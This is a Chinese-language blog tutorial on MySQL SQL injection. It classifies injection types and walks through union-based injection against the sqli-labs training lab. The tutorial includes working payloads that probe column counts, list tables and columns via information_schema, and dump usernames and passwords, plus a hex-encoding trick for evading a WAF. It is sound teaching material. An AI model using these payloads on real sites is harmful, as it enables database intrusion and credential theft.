基本认识及四种简单类型
前言
有网站服务的地方就需要有数据库,SQL注入是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数是可控的或没有进行过滤的。
当带入数据库进行查询,攻击者通过构造不同的SQL语句来实现对数据库的任意操作
SQL注入的两个条件
- 参数用户可控,可以修改上传的数据
- 拼接后的SQL语句带入数据库查询
Mysql数据库特点
Mysql 5.0版本以后MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,我们需要着重注意schema,tables,columns
基本认识
1.information_schema的介绍
information_schema:MySQL自带的数据库,存储了数据库中所有的数据库、表和列信息
information_schema.tables:所有表信息
information_schema.columns:所有列信息
table_schema:数据库名称
table_name:表名称
column_name:列名称
group_concat(table_name):列出所有表名
所有的闭合:****' '' () ('x') (('x')) (("x")) (()) ,或者先通过 \ 通过报错查看(几率较少)
2.基本参数
GET:GET请求的参数是放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码,apache 最大为8192字符,GET直接可在URL里面修改上传参数
POST:POST请求的参数是放在body里的,没有长度限制,在POST请求里'+'和'空格'是一样,POST型只能抓包在包里修改,在BurpSuite里面可以直接显示类型
COOKIE:Cookie参数放在请求头信息,提交的时候服务器会从请求头获取参数
##GET&POST区别:GET型使用URL提交注入数据,POST型利用抓包工具修改POST数据部分进行提交注入
3.注入常用查询系统函数:
#MySQL版本
version()
#数据库用户名
user()
#数据库名
database()
#系统用户名
system_user()
#当前用户名
current_user()
#当前链接数据库用户名
session_user()
#数据库路径,可以判断数据库搭建框架,猜测网站www路径,后面写shell是要知道绝对路径的
@@datadir
#数据库安装路径
@@basedir
#操作系统版本
@@version_compile_os
SQL注入四种简单类型
1.数字型:不存在闭合
select * from example where id=1;
2.字符型:存在闭合
select * from example where username='admin';
3.like搜索型:存在闭合
select * from example where title like '%标题%';
4.xx型:只考虑闭合就行,根据报错信息判断
注入方式——Union联合注入法
什么是联合注入?
联合查询:select a from b union select c from d where e;
一次显示两个查询结果,可以使第一个查询语句作为正常内容,第二个作为查询语句来构造
具体步骤
- 判断注入点,考虑闭合
- 使用order语句判断列 # 假如有n列,如果你的order by m,m>n:会出错,m<=n:正常执行
- 联合注入查看回显位,注意使用union时前面的语句要是错的
- 进行数据注入
判断方式
1.数值型
- 先传入参数http://192.168.223.132/sqli-labs/Less-2/?id=1 出现数值
- 修改参数http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 出现报错
- 修改参数http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 出现最初数值
- id=1 and 1=2是假,传回0,所以无法出现数值,id=-1 or 1=1为真,传回1,和第一次输入一致,可判断为数值型
- 通过order by语句http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3 判断出有3列
- http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 产生回显,注意这里是-1才能回显,正常的网页回显只有一次,因为程序在展示数据的时候通常只会取结果集的第一行数据,只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,才能发现回显位为2和3位,接下来就可以通过回显位得出敏感信息
2.字符型
- 先传参http://192.168.223.132/sqli-labs/Less-1/?id=1 出现数值
- 修改参数http://192.168.223.132/sqli-labs/Less-1/?id=1' 出现报错信息
- 添加注释#,查看结果http://192.168.223.132/sqli-labs/Less-1/?id=1' # 发现报错消失
eg:http://192.168.223.132/sqli-labs/Less-1/?id=1' order by 3 #
随后的操作可以在'和#之间进行SQL注入
3.搜索型
- ?id=1%' order by 3 #
其他操作与字符型大同小异
4.xx型
eg:输入d'-->MySQL server version for the right syntax to use near ''d'')' at line 1
去掉左边和右边的一个单引号,再去掉自己输入的d',剩下的')即为类型
判断出类型后其他操作与上述类型大同小异
总结
- 第一次输入id=xxx如果报错才可以继续判断
- 数字型:id=1 and 1=2-->id=-1 or 1=1
- 字符型:1.'型 id=1'-->id=1' # (#如果不行换成%23)
2.')型 id=1')-->id=1') #
3.")型 id=1")-->id=1") #
4.'))型 ****id=1'))-->id=1')) #
规范化数据库查询操作调取敏感信息
1.查看当前数据库表名
# 一个一个查
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
# 全部查出来
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
2.查询当前数据库中指定表信息列数据
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
table_name='users'与table_name=0x7573657273 效果一致,只是将user转换成16进制,可用绕过WF
0b:二进制 0o:八进制 0x:十六进制
3.注入出数据库所有内容
union select 1,2,group_concat(id,0x7e,username,0x7e,password) from security.users #输出id,username,password,中间以~作为分割,~的URL编码为0x7e
注入流程——以数字型为例,靶场为sqli-labs/Less-2
- 出现数值
http://192.168.223.132/sqli-labs/Less-2/?id=1
- 出现报错信息
http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2
- 发现数值和刚开始一样
http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1
- 进行验证,发现报错和之前一样
http://192.168.223.132/sqli-labs/Less-2/?id=0
- 判断列数为3
http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3
- 判断回显位,发现为2和3
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3
注意使用union联合注入时,前面id=-1报错才能使得网页进行回显,即union前面的语句必须是错误的
- 查看当前数据库表名
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
- 查询当前数据库中指定表信息列数据
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
- 注入出数据库所有内容
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users
结语
不管什么类型,就是对SQL中各种类型的输入进行闭合测试,构造合法SQL,欺骗后台去执行
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15127726.html